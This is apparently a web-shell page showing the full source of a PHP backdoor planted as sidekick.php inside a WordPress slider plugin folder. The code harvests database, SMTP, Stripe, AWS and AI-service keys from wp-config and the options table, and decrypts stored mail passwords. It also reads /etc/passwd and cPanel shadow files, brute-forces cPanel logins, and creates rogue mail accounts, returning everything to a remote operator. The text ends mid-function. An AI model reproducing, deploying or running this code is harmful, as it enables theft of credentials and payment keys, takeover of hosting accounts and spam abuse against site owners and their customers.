HEX
Server: Apache
System: Linux webm005.cluster121.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: adventp (418412)
PHP: 7.4.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/a/d/v/adventp/www/wp-content/plugins/revslider/sidekick.php
<?php
/*
 * sidekick.php — server-side credential extraction + cPanel cracker
 * Pure PHP only: no exec/system/passthru — bypasses disable_functions completely.
 * Actions: ping | smtps | users | cp | smtp_create
 */
@error_reporting(0);
@set_time_limit(300);
@ignore_user_abort(true);

$act = trim($_POST['action'] ?? $_GET['action'] ?? '');
header('Content-Type: application/json');

if ($act === 'ping')         { echo json_encode(['ok' => 1, 'php' => PHP_VERSION]); exit; }
if ($act === 'smtps')        { smtps_handler();        exit; }
if ($act === 'users')        { users_handler();         exit; }
if ($act === 'cp')           { cp_handler();            exit; }
if ($act === 'smtp_create')  { smtp_create_handler();   exit; }
if ($act === 'whmcs')        { whmcs_handler();         exit; }
http_response_code(404); echo '{}';

// ── wp-config helpers ─────────────────────────────────────────────────────────

function find_wpconfig(): ?string {
    $d = __DIR__;
    for ($i = 0; $i < 8; $i++) {
        $f = $d . '/wp-config.php';
        if (@is_readable($f) && @filesize($f) > 200) return $f;
        $nd = dirname($d);
        if ($nd === $d) break;
        $d = $nd;
    }
    return null;
}

function parse_wpconfig(string $src): array {
    $out = [];
    foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST',
              'AUTH_KEY','SECURE_AUTH_KEY','AUTH_SALT',
              'SMTP_HOST','SMTP_USER','SMTP_USERNAME','SMTP_PASS','SMTP_PASSWORD','SMTP_PORT',
              'SMTP_FROM','SMTP_FROM_NAME','WP_MAIL_SMTP_PASS','WP_SMTP_HOST',
              'WP_SMTP_USER','WP_SMTP_PASS','MAIL_FROM','MAILER_DSN',
              'SENDGRID_API_KEY','MAILGUN_API_KEY','MAILGUN_DOMAIN',
              'SES_ACCESS_KEY','SES_SECRET_KEY','SES_REGION',
              'WPMS_MAIL_ENCRYPTION_KEY'] as $k) {
        if (preg_match('/define\s*\(\s*[\'"]' . preg_quote($k,'/')
                       . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
            $out[$k] = $m[1];
    }
    return $out;
}

function decrypt_smtp_pass(string $enc, string $mail_key, string $auth_key, string $auth_salt): string {
    if (strlen($enc) < 30) return $enc;
    $raw = @base64_decode($enc, true);
    if ($raw === false || strlen($raw) < 17) return $enc;

    $try_dec = function($data, $key, $mode) {
        $iv     = substr($data, 0, 16);
        $cipher = substr($data, 16);
        $d = @openssl_decrypt($cipher, $mode, $key, OPENSSL_RAW_DATA, $iv);
        if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
        $d = @openssl_decrypt($cipher, $mode, $key, 0, $iv);
        if ($d !== false && strlen($d) > 0 && ctype_print(trim($d))) return trim($d);
        return false;
    };

    // WP Mail SMTP v3+: sodium secretbox (nonce=24 + ciphertext)
    if ($mail_key && function_exists('sodium_crypto_secretbox_open') && strlen($raw) > 24) {
        $k = @sodium_hex2bin($mail_key);
        if (strlen($k) < 32) $k = @base64_decode($mail_key);
        if (strlen($k) >= 32) {
            $nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
            $ct    = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
            $d = @sodium_crypto_secretbox_open($ct, $nonce, $k);
            if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
        }
    }
    // WP Mail SMTP Pro: AES-256-CBC with mail_key
    if ($mail_key) {
        $k = @sodium_hex2bin($mail_key);
        if (strlen($k) < 16) $k = @base64_decode($mail_key);
        if (strlen($k) >= 16) {
            $r = $try_dec($raw, $k, 'AES-256-CBC');
            if ($r !== false) return $r;
        }
    }
    // Older: sha256/md5 of AUTH_KEY or AUTH_SALT
    foreach ([$auth_key, $auth_salt] as $src) {
        if (!$src) continue;
        foreach (['sha256', 'md5'] as $h) {
            $k  = substr(hash($h, $src), 0, 32);
            $k2 = substr($k, 0, 16);
            foreach (['AES-256-CBC','AES-128-CBC'] as $m) {
                $r = $try_dec($raw, strlen($m) > 7 ? $k : $k2, $m);
                if ($r !== false) return $r;
            }
        }
    }
    return $enc; // return original if all attempts fail
}

// ── action: smtps ─────────────────────────────────────────────────────────────

function smtps_handler(): void {
    $smtps  = [];
    $db_out = [];

    $cfg_path = find_wpconfig();
    $db = $cfg_path ? parse_wpconfig((string)@file_get_contents($cfg_path)) : [];
    $auth_key  = $db['AUTH_KEY']        ?? '';
    $auth_salt = $db['AUTH_SALT']       ?? '';
    $sec_auth  = $db['SECURE_AUTH_KEY'] ?? '';
    if (!$auth_key) $auth_key = $sec_auth;

    if (!empty($db['DB_USER'])) {
        $db_out = [
            'host' => $db['DB_HOST'] ?? 'localhost',
            'user' => $db['DB_USER'],
            'pass' => $db['DB_PASSWORD'] ?? '',
            'name' => $db['DB_NAME'] ?? '',
        ];
        $conn = @mysqli_connect(
            $db['DB_HOST'] ?? 'localhost',
            $db['DB_USER'],
            $db['DB_PASSWORD'] ?? '',
            $db['DB_NAME'] ?? '',
            3306
        );
        if ($conn) {
            // detect table prefix
            $prefix = 'wp_';
            $q = @mysqli_query($conn, "SHOW TABLES LIKE '%options'");
            while ($r = @mysqli_fetch_row($q)) {
                if (preg_match('/^([a-zA-Z0-9_]+)options$/', $r[0], $m)) {
                    $prefix = $m[1]; break;
                }
            }
            $tbl = mysqli_real_escape_string($conn, $prefix . 'options');
            $keys = "'wp_mail_smtp','wp_mail_smtp_options','wp_mail_smtp_mail_key',"
                  . "'swpsmtp_options','postman_options','mailpoet_settings',"
                  . "'newsletter_smtp_host','newsletter_smtp_password',"
                  . "'fluentmail-smtp-connections','fluentmail-smtp-settings',"
                  . "'mailgun','smtp2go_options','wposes_settings',"
                  . "'sib_smtp_option','elasticemail_settings','wpsp_settings',"
                  . "'mailster_options','haet_mail_options','smtp_mailer_options',"
                  . "'wp_smtp_host','wp_smtp_port','wp_smtp_user','wp_smtp_pass',"
                  . "'mailgun_api_key','mg_api_key','sendgrid_api_key','sengrid_api_key',"
                  . "'sib_api_key','sendinblue_api_key','sparkpost_api_key',"
                  . "'aws_access_key_id','aws_secret_access_key',"
                  . "'openai_api_key','anthropic_api_key',"
                  . "'woocommerce_stripe_settings','woocommerce_paypal_settings',"
                  . "'woo_razorpay_settings','woocommerce_coinbase_settings',"
                  . "'mailchimp_sf_mc_api_key','mc4wp_settings','mc_api_key',"
                  . "'klaviyo_api_key','hubspot_api_key','activecampaign_api_key'";
            $res = @mysqli_query($conn, "SELECT option_name,option_value FROM `$tbl` WHERE option_name IN ($keys)");
            $opts = [];
            while ($row = @mysqli_fetch_assoc($res)) {
                $opts[$row['option_name']] = $row['option_value'];
            }
            // also fetch admin_email separately (not in the IN list above)
            $ae_res = @mysqli_query($conn, "SELECT option_value FROM `$tbl` WHERE option_name='admin_email' LIMIT 1");
            $admin_email = $ae_res ? (@mysqli_fetch_row($ae_res)[0] ?? '') : '';
            @mysqli_close($conn);
            $mail_key = $opts['wp_mail_smtp_mail_key'] ?? '';
            $smtps = parse_smtp_opts($opts, $mail_key, $auth_key, $auth_salt);
        }
    }

    // Feed wp-config SMTP constants into smtps array (already parsed into $db)
    $api_keys = [];
    if (!empty($db['SMTP_HOST'])) {
        $smtps[] = [
            'source' => 'wpconfig/SMTP_HOST',
            'host'   => $db['SMTP_HOST'],
            'port'   => (int)($db['SMTP_PORT'] ?? 587),
            'user'   => $db['SMTP_USER'] ?? $db['SMTP_USERNAME'] ?? $db['SMTP_FROM'] ?? '',
            'pass'   => $db['SMTP_PASS'] ?? $db['SMTP_PASSWORD'] ?? $db['WP_SMTP_PASS'] ?? '',
            'enc'    => 'tls',
        ];
    }
    if (!empty($db['WP_SMTP_HOST'])) {
        $smtps[] = [
            'source' => 'wpconfig/WP_SMTP_HOST',
            'host'   => $db['WP_SMTP_HOST'],
            'port'   => 587,
            'user'   => $db['WP_SMTP_USER'] ?? '',
            'pass'   => $db['WP_SMTP_PASS'] ?? '',
            'enc'    => 'tls',
        ];
    }
    if (!empty($db['MAILER_DSN'])) {
        // e.g. smtp://user:pass@smtp.example.com:587
        if (preg_match('#smtp[s]?://([^:@]*):([^@]*)@([^:/]+):(\d+)#i', $db['MAILER_DSN'], $dm)) {
            $smtps[] = ['source' => 'wpconfig/MAILER_DSN', 'host' => $dm[3],
                        'port' => (int)$dm[4], 'user' => urldecode($dm[1]),
                        'pass' => urldecode($dm[2]), 'enc' => 'tls'];
        }
    }
    // API tokens in wp-config
    foreach ([
        ['SENDGRID_API_KEY', 'api.sendgrid.com', 'sendgrid'],
        ['MAILGUN_API_KEY',  'api.mailgun.net',   'mailgun'],
        ['SES_ACCESS_KEY',   'email.amazonaws.com','ses'],
    ] as [$ckey, $host, $svc]) {
        if (!empty($db[$ckey])) {
            $api_keys[] = ['source' => "wpconfig/$ckey", 'service' => $svc,
                           'key' => $db[$ckey], 'domain' => $db['MAILGUN_DOMAIN'] ?? ''];
        }
    }

    // Plugin directory file scanner
    $plugin_api_keys = scan_plugin_dirs();
    foreach ($plugin_api_keys as $pkey) { $api_keys[] = $pkey; }

    // cPanel webmail shadow accounts (host-level, no SMTP password)
    $webmail_accounts = scan_webmail_shadows();
    foreach ($webmail_accounts as $wa) { $smtps[] = $wa; }

    echo json_encode([
        'smtps'      => $smtps,
        'db'         => $db_out,
        'mail_key'   => $mail_key ?? '',
        'admin_email'=> $admin_email ?? '',
        'api_keys'   => $api_keys,
    ]);
}

function parse_smtp_opts(array $opts, string $mail_key = '', string $auth_key = '', string $auth_salt = ''): array {
    $out = [];

    // wp_mail_smtp (most common plugin)
    foreach (['wp_mail_smtp', 'wp_mail_smtp_options'] as $key) {
        if (empty($opts[$key])) continue;
        $d = @unserialize($opts[$key]);
        if (!is_array($d)) $d = @json_decode($opts[$key], true);
        if (!is_array($d)) continue;
        $mailer = $d['mail']['mailer'] ?? ($d['mailer'] ?? 'smtp');
        $s = $d['smtp'] ?? [];
        if ($mailer === 'smtp' && !empty($s['host'])) {
            $out[] = ['source' => 'wp_mail_smtp', 'host' => $s['host'],
                      'port' => (int)($s['port'] ?? 587), 'user' => $s['user'] ?? '',
                      'pass' => $s['pass'] ?? '', 'enc' => $s['encryption'] ?? 'tls'];
        } elseif (in_array($mailer, ['sendgrid','mailgun','sendinblue','gmail','outlook','zoho','sparkpost','mailjet'], true)) {
            $api = $d[$mailer] ?? [];
            $k = $api['api_key'] ?? $api['client_secret'] ?? $api['api_secret'] ?? $api['secret'] ?? '';
            $from_email = $d['mail']['from_email'] ?? $d['mail']['from_name'] ?? '';
            if ($k) $out[] = ['source' => "wp_mail_smtp/$mailer", 'host' => "api.$mailer.com",
                               'port' => 0, 'user' => 'apikey', 'pass' => $k, 'enc' => '',
                               'from_email' => $from_email];
        }
        break;
    }

    // Easy WP SMTP / swpsmtp
    if (!empty($opts['swpsmtp_options'])) {
        $d = @unserialize($opts['swpsmtp_options']);
        if (!is_array($d)) $d = @json_decode($opts['swpsmtp_options'], true);
        if (is_array($d) && !empty($d['smtp_host'])) {
            $out[] = ['source' => 'easy_wp_smtp', 'host' => $d['smtp_host'],
                      'port' => (int)($d['smtp_port'] ?? 587), 'user' => $d['smtp_username'] ?? '',
                      'pass' => $d['smtp_password'] ?? '', 'enc' => $d['smtp_ssl'] ?? 'tls'];
        }
    }

    // FluentMail
    if (!empty($opts['fluentmail-smtp-connections'])) {
        $d = @json_decode($opts['fluentmail-smtp-connections'], true);
        if (is_array($d)) {
            foreach ($d as $conn) {
                $s = $conn['settings'] ?? [];
                if (!empty($s['host'])) {
                    $out[] = ['source' => 'fluentmail', 'host' => $s['host'],
                              'port' => (int)($s['port'] ?? 587),
                              'user' => $s['username'] ?? '', 'pass' => $s['password'] ?? '',
                              'enc' => $s['encryption'] ?? 'tls'];
                } elseif (!empty($s['api_key'])) {
                    $out[] = ['source' => 'fluentmail/api', 'host' => '', 'port' => 0,
                              'user' => 'apikey', 'pass' => $s['api_key'], 'enc' => ''];
                }
            }
        }
    }

    // Postman SMTP
    if (!empty($opts['postman_options'])) {
        $d = @unserialize($opts['postman_options']);
        if (!is_array($d)) $d = @json_decode($opts['postman_options'], true);
        if (is_array($d) && !empty($d['host_name'])) {
            $out[] = ['source' => 'postman_smtp', 'host' => $d['host_name'],
                      'port' => (int)($d['port'] ?? 587),
                      'user' => $d['sender_email'] ?? '',
                      'pass' => $d['authentication_password'] ?? '',
                      'enc' => $d['security_type'] ?? 'tls'];
        }
    }

    // Mailgun for WP — apiKey field in JSON blob
    if (!empty($opts['mailgun'])) {
        $d = @json_decode($opts['mailgun'], true);
        if (!is_array($d)) $d = @unserialize($opts['mailgun']);
        $mgk = '';
        if (is_array($d)) {
            $mgk = $d['apiKey'] ?? $d['api_key'] ?? $d['key'] ?? '';
        } elseif (preg_match('/[A-Za-z0-9_\-]{32,}/', $opts['mailgun'], $mk)) {
            $mgk = $mk[0];
        }
        if ($mgk) {
            $mgdom = is_array($d) ? ($d['domain'] ?? $d['hostname'] ?? '') : '';
            $out[] = ['source' => 'mailgun_wp', 'host' => 'api.mailgun.net',
                      'port' => 0, 'user' => 'api', 'pass' => $mgk, 'enc' => '',
                      'domain' => $mgdom];
        }
    }
    // Raw API key options stored as plain strings
    foreach (['mailgun_api_key','mg_api_key'] as $mk) {
        if (!empty($opts[$mk]) && strlen(trim($opts[$mk])) > 10) {
            $out[] = ['source' => $mk, 'host' => 'api.mailgun.net',
                      'port' => 0, 'user' => 'api', 'pass' => trim($opts[$mk]), 'enc' => ''];
        }
    }
    foreach (['sendgrid_api_key','sengrid_api_key'] as $sk) {
        if (!empty($opts[$sk]) && strlen(trim($opts[$sk])) > 10) {
            $out[] = ['source' => $sk, 'host' => 'api.sendgrid.com',
                      'port' => 0, 'user' => 'apikey', 'pass' => trim($opts[$sk]), 'enc' => ''];
        }
    }
    foreach (['sib_api_key','sendinblue_api_key'] as $bk) {
        if (!empty($opts[$bk]) && strlen(trim($opts[$bk])) > 10) {
            $out[] = ['source' => $bk, 'host' => 'api.brevo.com',
                      'port' => 0, 'user' => 'api-key', 'pass' => trim($opts[$bk]), 'enc' => ''];
        }
    }

    // Brevo/SIB SMTP option
    if (!empty($opts['sib_smtp_option'])) {
        $d = @unserialize($opts['sib_smtp_option']);
        if (!is_array($d)) $d = @json_decode($opts['sib_smtp_option'], true);
        if (is_array($d) && !empty($d['smtp_host'])) {
            $out[] = ['source' => 'brevo_smtp', 'host' => $d['smtp_host'],
                      'port' => (int)($d['smtp_port'] ?? 587),
                      'user' => $d['smtp_login'] ?? $d['smtp_user'] ?? '',
                      'pass' => $d['smtp_password'] ?? $d['smtp_pass'] ?? '',
                      'enc'  => 'tls'];
        } elseif (is_array($d) && !empty($d['api_key'])) {
            $out[] = ['source' => 'brevo_api', 'host' => 'api.brevo.com',
                      'port' => 0, 'user' => 'api-key', 'pass' => $d['api_key'], 'enc' => ''];
        }
    }

    // SMTP2GO
    if (!empty($opts['smtp2go_options'])) {
        $d = @unserialize($opts['smtp2go_options']);
        if (!is_array($d)) $d = @json_decode($opts['smtp2go_options'], true);
        if (is_array($d)) {
            $out[] = ['source' => 'smtp2go', 'host' => 'mail.smtp2go.com',
                      'port' => (int)($d['port'] ?? 2525),
                      'user' => $d['username'] ?? $d['user'] ?? '',
                      'pass' => $d['password'] ?? $d['api_key'] ?? '',
                      'enc'  => 'tls'];
        }
    }

    // WP Offload SES (wposes_settings)
    if (!empty($opts['wposes_settings'])) {
        $d = @unserialize($opts['wposes_settings']);
        if (!is_array($d)) $d = @json_decode($opts['wposes_settings'], true);
        if (is_array($d)) {
            $acc = $d['access_key_id']     ?? $d['aws_access_key'] ?? '';
            $sec = $d['secret_access_key'] ?? $d['aws_secret_key'] ?? '';
            if ($acc || $sec) {
                $out[] = ['source' => 'wp_offload_ses', 'host' => 'email.amazonaws.com',
                          'port' => 587, 'user' => $acc, 'pass' => $sec, 'enc' => 'tls',
                          'region' => $d['region'] ?? 'us-east-1'];
            }
        }
    }

    // Elastic Email
    if (!empty($opts['elasticemail_settings'])) {
        $d = @unserialize($opts['elasticemail_settings']);
        if (!is_array($d)) $d = @json_decode($opts['elasticemail_settings'], true);
        if (is_array($d)) {
            $eek = $d['api_key'] ?? $d['apiKey'] ?? $d['password'] ?? '';
            if ($eek) {
                $out[] = ['source' => 'elastic_email', 'host' => 'smtp.elasticemail.com',
                          'port' => 2525, 'user' => $d['username'] ?? $d['email'] ?? '',
                          'pass' => $eek, 'enc' => 'tls'];
            }
        }
    }

    // SparkPost (wpsp_settings)
    if (!empty($opts['wpsp_settings'])) {
        $d = @unserialize($opts['wpsp_settings']);
        if (!is_array($d)) $d = @json_decode($opts['wpsp_settings'], true);
        if (is_array($d)) {
            $spk = $d['api_key'] ?? $d['sparkpost_api_key'] ?? '';
            if ($spk) {
                $out[] = ['source' => 'sparkpost', 'host' => 'smtp.sparkpostmail.com',
                          'port' => 587, 'user' => 'SMTP_Injection', 'pass' => $spk, 'enc' => 'tls'];
            }
        }
    }

    // wp_smtp_* flat options (some older plugins store individual keys)
    if (!empty($opts['wp_smtp_host'])) {
        $out[] = ['source' => 'wp_smtp_flat', 'host' => $opts['wp_smtp_host'],
                  'port' => (int)($opts['wp_smtp_port'] ?? 587),
                  'user' => $opts['wp_smtp_user'] ?? '', 'pass' => $opts['wp_smtp_pass'] ?? '',
                  'enc'  => 'tls'];
    }

    // WooCommerce Stripe (API key harvest)
    if (!empty($opts['woocommerce_stripe_settings'])) {
        $d = @unserialize($opts['woocommerce_stripe_settings']);
        if (!is_array($d)) $d = @json_decode($opts['woocommerce_stripe_settings'], true);
        if (!empty($d['secret_key'])) {
            $out[] = ['source' => 'stripe', 'host' => 'api.stripe.com', 'port' => 443,
                      'user' => 'sk', 'pass' => $d['secret_key'], 'enc' => ''];
        }
    }

    // Mailchimp API key
    if (!empty($opts['mailchimp_sf_mc_api_key'])) {
        $k = trim($opts['mailchimp_sf_mc_api_key']);
        if (strlen($k) > 10)
            $out[] = ['source' => 'mailchimp', 'host' => 'api.mailchimp.com', 'port' => 0,
                      'user' => 'apikey', 'pass' => $k, 'enc' => ''];
    }

    // Decrypt any encrypted passwords server-side before returning
    foreach ($out as &$entry) {
        $pw = $entry['pass'] ?? '';
        if ($pw && strlen($pw) >= 30 && preg_match('/^[A-Za-z0-9+\/]{30,}={0,2}$/', trim($pw))) {
            $dec = decrypt_smtp_pass(trim($pw), $mail_key, $auth_key, $auth_salt);
            if ($dec !== $pw) $entry['pass'] = $dec;
        }
    }
    unset($entry);
    return $out;
}

// ── plugin directory credential scanner ───────────────────────────────────────

function scan_plugin_dirs(): array {
    $found = [];
    // Locate wp-content/plugins relative to this file
    $base = __DIR__;
    $plugins_dir = null;
    for ($i = 0; $i < 8; $i++) {
        $try = $base . '/wp-content/plugins';
        if (@is_dir($try)) { $plugins_dir = $try; break; }
        $nd = dirname($base);
        if ($nd === $base) break;
        $base = $nd;
    }
    if (!$plugins_dir) return $found;

    // Patterns: [regex, label, capture_group_index]
    $patterns = [
        // Stripe
        ['/\bsk_live_[A-Za-z0-9]{24,}/',           'Stripe-SK',       0],
        ['/\brk_live_[A-Za-z0-9]{24,}/',           'Stripe-RK',       0],
        // Mailgun
        ['/\bkey-[a-f0-9]{32}/',                   'Mailgun-API',     0],
        // SendGrid
        ['/\bSG\.[A-Za-z0-9_\-]{22,}\.[A-Za-z0-9_\-]{43,}/', 'SendGrid-API', 0],
        // GitHub PAT (classic + fine-grained)
        ['/\bghp_[A-Za-z0-9]{36,}/',              'GitHub-PAT',      0],
        ['/\bgithub_pat_[A-Za-z0-9_]{40,}/',      'GitHub-FGPAT',    0],
        // GitLab
        ['/\bglpat-[A-Za-z0-9_\-]{20,}/',         'GitLab-PAT',      0],
        // Slack
        ['/\bxox[bpoa]-[0-9A-Za-z\-]{10,}/',      'Slack-token',     0],
        // Anthropic
        ['/\bsk-ant-[A-Za-z0-9_\-]{80,}/',        'Anthropic',       0],
        // Resend
        ['/\bre_[A-Za-z0-9]{32,}/',               'Resend',          0],
        // Brevo/SIB — xkeysib-...
        ['/\bxkeysib-[A-Za-z0-9_\-]{64,}/',       'Brevo-API',       0],
        // Postmark
        ['/\b[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\b/', 'UUID-token', 0],
        // SMTP password assignments
        ['/[\'"]smtp[_\-]?pass(?:word)?[\'"]\s*=>\s*[\'"]([^\'"]{6,})[\'"]/',  'SMTP-pass',  1],
        ['/define\s*\(\s*[\'"]SMTP_(?:PASS|PASSWORD)[\'"]\s*,\s*[\'"]([^\'"]{6,})[\'"]/', 'SMTP-cfg-pass', 1],
        // SMTP host
        ['/[\'"]smtp[_\-]?host[\'"]\s*=>\s*[\'"]([^\'"]{6,})[\'"]/',           'SMTP-host',  1],
        // Generic API key assignments
        ['/[\'"]api[_\-]?key[\'"]\s*=>\s*[\'"]([A-Za-z0-9_\-]{20,})[\'"]/',   'API-key',    1],
        ['/[\'"](?:secret|token)[_\-]?key[\'"]\s*=>\s*[\'"]([A-Za-z0-9_\-]{20,})[\'"]/', 'Secret-key', 1],
    ];

    $iter = @new \RecursiveIteratorIterator(
        new \RecursiveDirectoryIterator($plugins_dir,
            \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::FOLLOW_SYMLINKS),
        \RecursiveIteratorIterator::LEAVES_ONLY
    );

    $seen = [];
    $file_count = 0;
    foreach ($iter as $file) {
        if ($file_count++ > 2000) break; // safety cap
        $path = $file->getPathname();
        $ext  = strtolower($file->getExtension());
        if (!in_array($ext, ['php', 'env', 'ini', 'conf', 'json'], true)) continue;
        $size = @filesize($path);
        if (!$size || $size > 512000) continue; // skip >512 KB files

        $content = @file_get_contents($path);
        if (!$content) continue;

        foreach ($patterns as [$pat, $label, $grp]) {
            if (!preg_match_all($pat, $content, $matches)) continue;
            foreach ($matches[$grp] as $val) {
                $val = trim($val);
                if (strlen($val) < 8) continue;
                $uid = $label . ':' . $val;
                if (isset($seen[$uid])) continue;
                $seen[$uid] = true;
                // Strip path prefix to wp-content for shorter output
                $rel = str_replace($plugins_dir, '/wp-content/plugins', $path);
                $found[] = ['source' => "plugin_scan$rel", 'service' => $label, 'key' => $val];
            }
        }
    }
    return $found;
}

// ── action: users ─────────────────────────────────────────────────────────────

function users_handler(): void {
    $users = [];
    $cpanel_users = [];

    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd) {
        foreach (explode("\n", trim($passwd)) as $line) {
            $p = explode(':', $line);
            if (count($p) < 7) continue;
            $uid = (int)$p[2];
            if ($uid < 500 || $uid > 65000) continue;
            $shell = $p[6] ?? '';
            if (strpos($shell, 'nologin') !== false || strpos($shell, '/false') !== false) continue;
            $users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
        }
    }

    foreach (['/etc/userdomains', '/etc/trueuserdomains'] as $udfile) {
        $ud = @file_get_contents($udfile);
        if (!$ud) continue;
        foreach (explode("\n", trim($ud)) as $line) {
            $parts = explode(': ', $line, 2);
            if (count($parts) === 2) $cpanel_users[] = trim($parts[1]);
        }
    }
    $cpanel_users = array_values(array_unique($cpanel_users));

    echo json_encode(['users' => $users, 'cpanel_users' => $cpanel_users]);
}

// ── action: cp ────────────────────────────────────────────────────────────────

function cp_handler(): void {
    if (!function_exists('curl_init')) {
        echo json_encode(['error' => 'curl_disabled', 'cracked' => [], 'resellers' => []]);
        return;
    }

    $usernames = array_values(array_filter(array_map('trim',
        explode("\n", $_POST['usernames'] ?? ''))));
    $passwords = array_values(array_filter(array_map('trim',
        explode("\n", $_POST['passwords'] ?? ''))));

    $skip = ['root','daemon','nobody','www-data','apache','apache2','nginx','http',
             'mail','ftp','sshd','mysql','postgres','bin','sys','ntp','postfix',
             'dovecot','exim','named','dnsmasq'];

    $cracked   = [];
    $resellers = [];

    foreach ($usernames as $u) {
        if (!$u || in_array($u, $skip, true)) continue;
        foreach ($passwords as $pw) {
            if (!$pw || strlen($pw) < 4) continue;
            if (cp_try($u, $pw, 2083)) {
                $cracked[] = ['user' => $u, 'pass' => $pw, 'port' => 2083];
                if (cp_try($u, $pw, 2087))
                    $resellers[] = ['user' => $u, 'pass' => $pw];
                break;
            }
        }
    }

    echo json_encode(['cracked' => $cracked, 'resellers' => $resellers]);
}

function cp_try(string $user, string $pass, int $port): bool {
    $ch = curl_init("https://localhost:$port/login/?login_only=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'login=' . rawurlencode($user)
                                . '&password=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    if (!$resp) return false;
    return strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
}

// ── action: smtp_create ───────────────────────────────────────────────────────
// Accepts cracked cPanel user+pass, logs in via login_only=1 to obtain a
// security_token (cpsess), then creates a fresh email account via UAPI and
// returns its SMTP credentials as JSON.

function smtp_create_handler(): void {
    if (!function_exists('curl_init')) {
        echo json_encode(['error' => 'curl_disabled']);
        return;
    }

    $user   = trim($_POST['user']   ?? '');
    $pass   = trim($_POST['pass']   ?? '');
    $domain = trim($_POST['domain'] ?? '');

    if (!$user || !$pass) {
        echo json_encode(['error' => 'missing_creds']);
        return;
    }

    // Step 1: login_only=1 returns JSON with security_token — no cookie jar needed
    $ch = curl_init('https://localhost:2083/login/?login_only=1');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'login=' . rawurlencode($user)
                                . '&password=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 10,
        CURLOPT_CONNECTTIMEOUT => 5,
    ]);
    $resp  = curl_exec($ch);
    curl_close($ch);

    $login  = @json_decode((string)$resp, true);
    $cpsess = ltrim((string)($login['security_token'] ?? ''), '/');
    if (!$cpsess || ($login['status'] ?? 0) !== 1) {
        echo json_encode(['error' => 'login_fail', 'raw' => substr((string)$resp, 0, 120)]);
        return;
    }

    // Step 2: resolve primary domain if not supplied
    if (!$domain || strpos($domain, '.') === false) {
        $dch = curl_init("https://localhost:2083/{$cpsess}/execute/DomainInfo/main_domain");
        curl_setopt_array($dch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 8,
        ]);
        $dom_raw  = curl_exec($dch);
        curl_close($dch);
        $dom_data = @json_decode((string)$dom_raw, true);
        $domain   = (string)($dom_data['data']['main_domain'] ?? '');
    }

    if (!$domain || strpos($domain, '.') === false) {
        echo json_encode(['error' => 'no_domain']);
        return;
    }

    // Step 3: create a fresh email account via UAPI (token in URL — no cookie needed)
    $local = 'wp_svc_' . substr(md5(uniqid('', true)), 0, 6);
    $epw   = substr(md5(uniqid('', true)), 0, 8) . 'Aa1!';

    $cch = curl_init("https://localhost:2083/{$cpsess}/execute/Email/add_pop?"
        . 'email='     . rawurlencode($local)
        . '&password=' . rawurlencode($epw)
        . '&quota=0'
        . '&domain='   . rawurlencode($domain));
    curl_setopt_array($cch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT        => 10,
    ]);
    $cr_raw = curl_exec($cch);
    curl_close($cch);

    $cr = @json_decode((string)$cr_raw, true);
    if (!$cr || ($cr['status'] ?? 0) !== 1) {
        echo json_encode(['error' => 'create_fail', 'raw' => substr((string)$cr_raw, 0, 200)]);
        return;
    }

    echo json_encode([
        'ok'    => true,
        'email' => $local . '@' . $domain,
        'pass'  => $epw,
        'host'  => 'mail.' . registrable_domain($domain),
        'port'  => 587,
    ]);
}

// ── helpers ────────────────────────────────────────────────────────────────────

function registrable_domain(string $domain): string {
    $parts = explode('.', rtrim($domain, '.'));
    if (count($parts) <= 2) return $domain;
    $sld2 = ['co','com','net','org','gov','edu','ac','ne','or','me','in'];
    if (in_array($parts[count($parts)-2], $sld2, true))
        return implode('.', array_slice($parts, -3));
    return implode('.', array_slice($parts, -2));
}

// ── webmail shadow account scan ────────────────────────────────────────────────

function scan_webmail_shadows(): array {
    $accounts = [];
    $seen = [];
    // cPanel stores per-account shadow files at /home/{user}/etc/{domain}/shadow
    foreach (glob('/home/*/etc/*/shadow') ?: [] as $shadow_file) {
        if (!preg_match('|/home/[^/]+/etc/([^/]+)/shadow$|', $shadow_file, $m)) continue;
        $domain = $m[1];
        $lines  = @file($shadow_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if (!$lines) continue;
        $mail_domain = registrable_domain($domain);
        foreach ($lines as $line) {
            $parts = explode(':', $line);
            if (count($parts) < 2) continue;
            $local = trim($parts[0]);
            if (!$local || $local[0] === '#') continue;
            $email = "$local@$domain";
            if (isset($seen[$email])) continue;
            $seen[$email] = true;
            $accounts[] = [
                'source' => 'webmail',
                'host'   => "mail.$mail_domain",
                'port'   => 587,
                'user'   => $email,
                'pass'   => '',
            ];
        }
